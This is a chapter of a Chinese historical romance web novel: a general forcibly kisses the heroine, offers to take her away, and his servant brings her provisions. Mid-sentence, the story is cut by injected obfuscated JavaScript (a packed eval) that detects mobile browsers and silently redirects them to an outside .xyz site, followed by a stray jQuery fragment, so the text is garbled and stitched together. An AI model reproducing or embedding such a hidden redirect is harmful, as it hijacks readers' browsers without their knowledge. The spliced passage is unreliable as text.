26.第二十六章

    清早下了淅淅沥沥的小雨。


    空气中都是潮湿的寒气。


    李疏婵从房间内走了出来,狼狈地将晾晒在院中的衣物悉数收进屋内。


    她的发丝被风吹乱,前额的刘海上附着了点点晶莹的雨滴。她抬手拨弄额前的碎发,余光一撇,便看见站在院外那抹修长清冷的身影。


    那人孤傲地站在伞下,穿着件单薄的长衫,藏青色的锦布在细雨中影影绰绰,有些不真切。


    不知道这人在外头站了多久,又看了她多久。


    她只觉得,那冷沁的水雾将他整个人笼罩在白雾内,透着令人生寒的冷意。


    他生气了。


    李疏婵不知道为何,心里突然冒出了这个想法。


    随即又觉得自己的想法很是可笑。生气是因为她吗,一个八竿子打不着的路人?


    那人撑着伞,像是带着千军万马的凶杀气势,一步一步朝她走来。


    她也不逃,安静地站在屋檐下,等着他的问责。


    看着越来越近的男人,她纤细的手指不由得握紧衣袖。


    只是离得近了,男人在她面前停了下来,居高临下的盯着她。


    此刻,乌云密布,危如累卵。小院里的一棵矮小的枫树,快要被雨水吹倒。


    李疏婵心中砰砰直跳,她看着他右半边宽大的袖袍已被雨水浸湿大半,推断这人定是匆匆忙忙赶来,一路带着情绪的。


    好一会儿,他才轻启薄唇,说出的话语却令人意外,并不是责骂。


    “你就这么讨厌我么?”


    “嗯?”


    她不解地抬头,就迎上了他那双深邃的眸子。他一把将她揽入怀中,带着些霸道和赌气,将脸埋进她香软的颈弯。


    她想解释,却无招架之力。


    毫无防备地,他炙热的吻便落在了她柔软的唇上。


    先是轻轻一点,如同落在脸颊上的雨滴,冰冷又克制。


    后来雨滴渐渐地大了,倾泻而下,将懵懂的她禁锢在水雾之中。


    他指骨分明的手握着她单薄微颤的双肩,恨不得将她揉进自己的怀中。


    再后来,他的吻如狂风暴雨一般,带着不容质疑的气势,她如若在汹涌的大海里溺了水,整个人被卷进他汹涌的情愫。


    他的声音带着怒意,像是要狂乱地将她吞噬殆尽,那些吻更是霸道地充盈在她红润的唇上,让她连连败退。


    “李疏婵……整个大启,没有人敢如此对待我。”


    他吻着她,那些话像是扎进他心尖的针刺,一根根带着鲜血被他硬生生地拔了出来。


    他忍着痛,却不敢问出答案。只是本能地堵上她的双唇,一点点看着自己越发的卑微。


    “你真的……很讨厌我吗……”


    他的问话含在她的唇齿之间,带着苦涩和克制,还有一丝隐藏于深处的脆弱。


    李疏婵只觉得疑惑,这样意气风发的男人,这样大权在握的将军,怎会……脆弱?


    容不得她思绪开小差,他右手轻轻揽住她的头,吻得更深。


    许久,他才恋恋不舍地离开她的唇。


    他伸手触碰自己的嘴角,继续看着满脸通红的她,那里还沾染着她的香柔。


    李疏婵呼吸急促,她只觉得两腿发软,倚靠在门前不敢乱动。方才的一切,让她大脑一片混乱,他虽然强势霸道,却也能感到他的温柔深情。


    她双手覆盖滚烫的脸颊,低垂着头不敢看他。


    她还是很困惑,明明一开始,她可以推开他的,可鬼使神差的,她什么都没做……


    为什么……


    院子的雨不知什么时候停了,许是在山中的原因,那如云似雾的水汽笼罩在两人之间,并未散去。


    好一会儿,祁莲才叹口气,声音里尽是无奈。


    “若……若你真的那么讨厌我……以后,便再也不见罢。”


    李疏婵被这话说的愣住,她还来不及调整反应,就见眼前这人转身就准备离开。


    他宽大的衣袖飘飘荡荡,挂在了院中伸出来的新枝。他一施力,将那袖子扯开,带着点落寞,朝院子外头走去。


    哪有这样的道理,强吻了别人,什么不说就想走?


    她有些生气,上前抓住他那湿了一半的衣袖。不知是郁闷,还是羞愧,竟是硬生生攥在手心不松开。


    祁莲回过头,看着她那握着自己衣角泛白的小手,那原本下定的决心又松动了。


    “怎么?”


    “……”


    她大脑空白了好一会儿,这才反应过来自己在干什么。她别扭地垂下眼,想了半天才憋出了一句靠不住的理由来。


    “你……你衣服湿了。”她的声音闷闷地,带着点娇嗔。


    祁莲抬眸深深地看向她,嘴角却忍不住笑了。


    *


    这间院子建在城外的半山腰上,一间主屋两间厢房。前院种着棵刚栽不到一月的元宝枫树,后院开辟了个小菜园子,长不足百余步。


    祁莲站在窗前看着后院的菜园,疑惑道。


    “这菜园,也是你自己种的?”


    李疏婵正将他的长衫挂在长杆上,底下隔着小碳炉子烘烤。听他问起话,便停下了手中的动作。


    “当然,这些农活儿都是普通人家自备的技术,自从那宝峰号出了事,码头就都被封上了,这流通的贸易一断,物件简直飞涨。如今山下城里的肉菜一天一个价,不如自己采买些种子来种,能省下不少铜板。”


    她说者无意,听者却有心。


    祁莲坐回堂屋中间的长椅上,看着满屋简陋的布置,心里有些不是滋味。


    传言不是说她做那些生意赚了不少吗……这吃穿用度如此节俭,怎么看也不像是赚了很多钱的样子。


    再看她那已经洗的泛白的衣袖,还有她细得仿佛一捏就断的手腕。祁莲叹口气,果然,她虽然聪慧能干,还是要有个男人来照顾自己才好。


    毋容置疑,他是她的最佳人选。在这一点上,祁莲无比自信。


    他起身拉住一直在忙碌的李疏婵,看着她消瘦的脸颊更是心疼不已。


    “你,要不要跟我回去?”


    “嗯?”


    李疏婵被他问得一愣,一瞬间一股怒气涌上心头。“侯爷要带我回去哪里?”


    难不成,他这是想把自己当一个买来的妾室吗?


    祁莲听得出她的言外之意,他无奈地笑了笑。


    “你肯定又想到别出去了,”他握着她一双娇柔的手,恋恋不舍,“手若柔荑,肤如凝脂。这么美,怎么能劈柴种菜,干那些粗活呢。


    “我在乡下有处别院,里面已经安顿了你的姊妹亲人。这几日你跟我回去,避避风头。等那宝峰号的案子尘埃落定,你想去哪里想做什么,都依你。若你愿意,今日我们就可启程。”


    祁莲眼眸动情地望向她,若是她跟着他回去,以后那些是是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338730|180038||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    非非便再也与她无关了。他有十足的把握可以照顾好她,让她往后的日子衣食无忧,再也不必漂泊动荡。


    可万万没想到,李疏婵竟然不肯。


    祁莲实在不理解,甩甩衣袖便负气离去。但他始终心软,悄悄留下了烛月在宅院里,吩咐几句,便是头也不回的离开了。


    人一走,院子更是清冷许多。


    李疏婵看着空落落的衣架,将那还在燃烧的炭盆熄灭,把东西归置到耳房之中,便坐在正屋之中,望着落雨的院子出神。


    好一会儿,院房的门外吱呀一声响起。


    她眼眸一动,急切地望向院门的方向。


    果然,有人撑着一把青绿色的油纸伞,挪着步子朝院子里走来。


    李疏婵雀跃地站起身子,翘首以盼地望向来人,只是待看清那撑伞人的面目之后,明媚的双眸又暗了下去。


    来人是烛月。


    她正是受了主子的委托,这才置办了一堆东西,提着自己的小包裹进了这山间的宅院。


    李疏婵举着伞上前迎接,烛月爽朗一笑,见面就大大咧咧地打了招呼,倒像是几年没见的挚友。


    “李姑娘近日可好呀,我们主子托我过来帮忙,给这小院拾掇拾掇。


    “哦,别忙着栓门,乌尔派人抬了些日用的物品,还没上来,这山里下雨路滑,姑娘要等一等哈。”


    李疏婵一愣:“还有东西?”


    烛月将伞收好,回应道。“当然,主子吩咐过了,您下山不便,这里物资匮乏比不上城中方便,就叫我们置办齐整了好伺候您。不过贴心的人还不够多,主子身边向来没有丫头服侍,一时半会儿找不到信任的姑娘来伺候您。”


    语罢,她拍拍手,顿时一直侯在门外的两个小丫头,低眉顺眼地进了屋内。


    “这两个粗使丫头是我从府中的嬷嬷手中临时选来的。虽说年纪不大,手脚倒还算干净勤快,精细的活计可能指望不上,但一些粗活累活倒可以吩咐。李姑娘您看合不合意,若是不诚心,咱们再换上一波。”


    李疏婵几番推脱不得,只得收下。


    这厮两个丫鬟她还未熟悉,那厮,乌尔又指挥着扛手挑夫们搬着一堆堆大物件,呜呜泱泱进了院子。


    她看着众人忙里忙外,不出一会儿,这屋子已摆的满满当当。


    厨房里,十几袋大米面粉摆放的整整齐齐,鸡鸭鱼肉样样俱全。再看那厢房,又是丝绸绢布,又是薄帐被褥,甚至还有挑夫们搬进来的几个檀木雕花的斗柜。


    那后院又来了泥工瓦匠,在他们边上起梁建瓦,已经搭建一处临时的房屋了。


    “这……这也太多了……”


    李疏婵看着面前的人忙的风生水起,一时间竟不知如何是好。


    忙完手中的活儿,烛月见站在原地的李疏婵,轻声宽慰道:“姑娘不必觉得难为情,这些都是侯爷吩咐过的,您宽心收下便是。”


    看着李疏婵一脸愁苦,烛月心中不解。侯爷可是第一次对女子这般体贴细致,换做旁的姑娘不知道开心成什么样子。怎么偏偏这位李姑娘,总是一副忧愁的模样呢?


    “姑娘为何一直愁眉不展?”


    这话,其实李疏婵也问过自己。要说她真的讨厌祁莲,倒也不是,明显每次见到那人,都让自己心跳加速,心中那汹涌的悸动是骗不了自己的。


    可为何,他对她越是好,她越发觉得这种温暖与幸福,像镜花水月一般?